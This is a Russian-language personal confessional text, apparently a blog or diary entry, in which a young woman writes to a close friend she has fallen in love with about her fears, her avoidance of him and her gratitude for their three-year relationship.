Сколько же мне в этот раз потребуется времени, что бы этому человеку написать моё обычное «привет» и спросить «как его дела?» И смогу ли я вообще вновь это сделать? Захочу ли я позвонить ему? И уж тем более, буду ли я готова к встрече с ним? Я боюсь, что мне просто не оставят выбора, что решат всё без меня, хотя нет, он не такой человек, он не решится, как и я не смогу ответить на звонок, уйду только при виде его, буду продолжать игнорировать его сообщения.
…You…
Ты такой глупый, хотя и взрослее меня…
неужели тебе всё также тяжело понять, о чём и о ком я думаю, неужели ты не понимаешь моё волнение, почему ты не хочешь принять меня такую, какая я есть?
я знаю, что тебя не очень устраивает мой характер и образ жизни.. тебе не нравится, что я мало уделяю тебе внимания, но спасибо за понимание того, что всё мое свободное время действительно идёт на учёбу.
да, во многом я не права, но и ты не без греха)))
я всегда думаю, что меня в тебе задело? знаешь этот вопрос крутиться у меня уже на протяжении этих 3 лет, что мы друг друга знаем)
у меня есть правило не влюбляться в друзей и уж точно не иметь с ними никаких отношений (кроме дружеских, разумеется) но ты удачно разбил эту теорию и вместо нее поставил себя с кучей твоих заморочек и мировоззрений)
я рада, что встретила тебя, ведь я, наконец, влюбилась! искренне и по-детски…
да, тебе не нравится, что я не умею выражать свои настоящие чувства, что часто вместо того, что меня разрывает изнутри я всем улыбаюсь, но ты как-то странно, хорошо меня зная, находишь такие слова, что бы я отпустила все чувства, гложущие меня изнутри и наконец, выплакалась (хотя я ненавижу то, что реву у тебя на глазах)..я меньше всего люблю быть в твоем присутствии слабой..но с тобой я чувствую себя маленькой и беззащитной..не понимаю как так..
ты изменил меня за эти годы, моё мировоззрение, дал понять, какие люди меня окружают и что мои друзья совсем не те уж люди, которые придут ко мне на помощь..
я частенько тебя злю и раздражаю своими глупыми и безрассудными поступками, но признай, что тебе приносит моральное удовлетворение всегда говорить мне: «Я всё же был прав» или «Ну я же тебе говорил!»
порой я задумываюсь над тем, что идеализирую тебя и в моих глазах ты и друг, и отец, и мой любящий человек..
ты знаешь все мои мысли, положительные и, уж точно, отрицательные качества моего характеры, недостатки, но пытаешься принять это всё, хотя и хочешь порой ударить меня битой по голове..я все прекрасно понимаю, ведь мы проходим путь взросления наших отношений вместе и я больше всего боюсь, что в твоих глазах они повзрослеют быстрее, чем в моих и я отстану от тебя и таким образом частенько пытаюсь оттолкнуть, замять или перевести тему разговора..извини за это..
но я рада, что мы вместе…кроме тебя мне никого не надо..
есть ты и я..
когда я долго смотрю на тебя я понимаю, что весь мой мир в твоих столь бездонных глазах, как наша совместная вселенная…
- ← Previous
- 1
- 2
- 3
- …
- 6
- Next →